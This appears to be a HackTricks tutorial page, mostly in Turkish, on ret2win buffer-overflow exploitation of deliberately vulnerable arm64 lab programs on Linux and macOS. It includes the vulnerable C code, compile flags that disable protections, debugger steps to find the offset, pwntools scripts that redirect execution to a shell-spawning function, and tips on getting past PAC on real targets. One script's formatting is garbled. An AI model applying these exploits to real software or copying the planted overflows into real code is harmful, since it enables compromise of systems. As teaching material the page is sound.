Ret2win - arm64
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
arm64 hakkında bir giriş için bakınız:
Code
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
pie ve canary olmadan derleyin:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- Ek bayrak
-mbranch-protection=noneAArch64 Branch Protection (PAC/BTI) özelliğini devre dışı bırakır. Eğer toolchain’iniz PAC veya BTI’yi varsayılan olarak etkinleştiriyorsa, bu lab’in tekrarlanabilir kalmasını sağlar. Derlenmiş bir binary’nin PAC/BTI kullanıp kullanmadığını kontrol etmek için şunları yapabilirsiniz: - AArch64 GNU özelliklerini arayın:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'- Prolog/epiloglarda
paciasp/autiasp(PAC) veyabti clanding pad’leri (BTI) için inceleyin: objdump -d ret2win | head -n 40
AArch64 çağırma düzeni - kısa bilgiler
- The link register is
x30(a.k.a.lr), and functions typically savex29/x30withstp x29, x30, [sp, #-16]!and restore them withldp x29, x30, [sp], #16; ret. - Bu, kaydedilmiş dönüş adresinin frame tabanına göre
sp+8konumunda olduğu anlamına gelir. Aşağıya yerleştirilmiş birchar buffer[64]ile, kaydedilmişx30’a sıradan overwrite mesafesi 64 (buffer) + 8 (kaydedilmiş x29) = 72 byte — tam olarak aşağıda bulacağımız değer. - The stack pointer must remain 16‑byte aligned at function boundaries. If you build ROP chains later for more complex scenarios, keep the SP alignment or you may crash on function epilogues.
Ofset’i bulma
Pattern seçeneği
Bu örnek GEF kullanılarak oluşturuldu:
Stat gdb with gef, create pattern and use it:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64, register x30’taki (bozulmuş) adrese dönmeye çalışır; bunu pattern offset’i bulmak için kullanabiliriz:
pattern search $x30
.png)
Ofset 72’dir (9x48).
Stack offset seçeneği
pc register’ının saklandığı stack adresini alarak başlayın:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Şimdi read() çağrısından sonra bir breakpoint ayarlayın, read() çalıştırılana kadar continue edin ve 13371337 gibi bir pattern ayarlayın:
b *vulnerable_function+28
c
.png)
Bu desenin bellekte nerede saklandığını bulun:
.png)
Sonra: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Normal
win fonksiyonunun adresini alın:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
Aslında bu, yığında saklanan PC’de bir off-by-2’ye daha çok benzeyecek. Tüm dönüş adresini ezmek yerine sadece son 2 baytını 0x06c4 ile üzerine yazacağız.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
ARM64’te başka bir off-by-one örneğini https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/’te bulabilirsiniz; bu, kurgusal bir zafiyette gerçek bir off-by-one’dır.
PIE ile
Tip
Binary’i
-no-pieargümanı olmadan derleyin
Off-by-2
Bir leak olmadan win function’ın tam adresini bilmiyoruz ama fonksiyonun binary içindeki offset’ini bilebiliriz ve üzerine yazdığımız return address’in zaten yakın bir adrese işaret ettiğini bildiğimiz için, bu durumda win function’ın offset’ini (0x7d4) leak etmek ve sadece o offset’i kullanmak mümkün:
.png)
Configuration
binary_name = ‘./ret2win’ p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
## macOS
### Code
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}
void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}
int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}
canary olmadan derleyin (macOS’te PIE’yi devre dışı bırakamazsınız):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
ASLR olmadan çalıştırın (ancak address leak olduğu için buna ihtiyacımız yok):
env DYLD_DISABLE_ASLR=1 ./bof_macos
Tip
macOS’ta NX’i devre dışı bırakmak mümkün değil çünkü arm64’te bu mod donanım seviyesinde uygulanır; bu yüzden bunu devre dışı bırakamazsınız ve macOS’ta stack’te shellcode içeren örnekler bulamayacaksınız.
Offset’i bulun
- Bir pattern oluşturun:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
- Programı çalıştırın ve crash’e neden olacak pattern’i girin:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
x30register’ını (the return address) kontrol et, offset bulmak için:
(lldb) register read x30
cyclic -l <value>kullanarak tam offset’i bulun:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- Böylece offset
72’yi buldum; bu offset’ewin()fonksiyonunun adresini koyarak fonksiyonu çalıştırabilir ve bir shell elde edebilirsiniz (ASLR kapalıyken).
Exploit
#!/usr/bin/env python3
from pwn import *
import re
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)
win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
macOS - 2. örnek
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}
__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}
__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}
int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);
// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
// Sleep 3s
sleep(3);
vuln();
return 0;
}
canary olmadan derleyin (macOS’ta PIE’yi devre dışı bırakamazsınız):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
offset’i bulun
- Dosyaya bir pattern oluşturun:
/tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
- Crash oluşturmak için programı çalıştırın:
lldb ./bof_macos
(lldb) run
- Offset’i bulmak için register
x30’ı (return address) kontrol et:
(lldb) register read x30
- exact offset’ı bulmak için
cyclic -l <value>kullanın:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- İşte
72offset’ini böyle buldum; bu offset’ewin()fonksiyonunun adresini koyarsanız, o fonksiyonu çalıştırıp bir shell elde edebilirsiniz (ASLR kapalıyken).
win() adresini hesaplama
- Binary PIE;
leak_anchor()fonksiyonunun leak’ini kullanarak veleak_anchor()fonksiyonundanwin()fonksiyonunun offset’ini bilerekwin()fonksiyonunun adresini hesaplayabiliriz.
objdump -d bof_macos | grep -E 'leak_anchor|win'
0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
Offset değeri 0x47c - 0x460 = 0x1c
Exploit
#!/usr/bin/env python3
from pwn import *
import re
import os
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)
print("[*] Payload written to /tmp/exploit.txt")
# Drop to an interactive session
p.interactive()
Modern AArch64 hardening (PAC/BTI) ve ret2win hakkında notlar
- Eğer ikili AArch64 Branch Protection ile derlendiyse, fonksiyon prolog/epiloglarında
paciasp/autiaspveyabti cgörebilirsiniz. Bu durumda: - Geçerli bir BTI landing pad olmayan bir adrese dönmek
SIGILLoluşturabilir.bti ciçeren tam fonksiyon girişini hedeflemeyi tercih edin. - Eğer PAC dönüşler için etkinse, basit dönüş adresi üzerine yazmalar başarısız olabilir çünkü epilog
x30’u doğrular. Öğrenme senaryoları için-mbranch-protection=noneile yeniden derleyin (yukarıda gösterildi). Gerçek hedeflere saldırırken, return hırsızlıkları yerine non‑return hırsızlıklarını tercih edin (ör. function pointer overwrite’ları) veya sahte LR’nizi doğrulayan birautiasp/retçiftini asla çalıştırmayan bir ROP inşa edin. - Özellikleri hızlıca kontrol etmek için:
readelf --notes -W ./ret2winveAARCH64_FEATURE_1_BTI/AARCH64_FEATURE_1_PACnotlarını arayın.objdump -d ./ret2win | head -n 40vebti c,paciasp,autiasp’ı arayın.
non‑ARM64 ana makinelerde çalıştırma (qemu‑user hızlı ipucu)
Eğer x86_64 üzerindeyseniz ama AArch64 pratiği yapmak istiyorsanız:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
İlgili HackTricks sayfaları
Kaynaklar
- AArch64 üzerinde Linux için PAC ve BTI’yi Etkinleştirme (Arm Community, Kas 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Arm 64-bit Mimarisi için Prosedür Çağrı Standardı (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


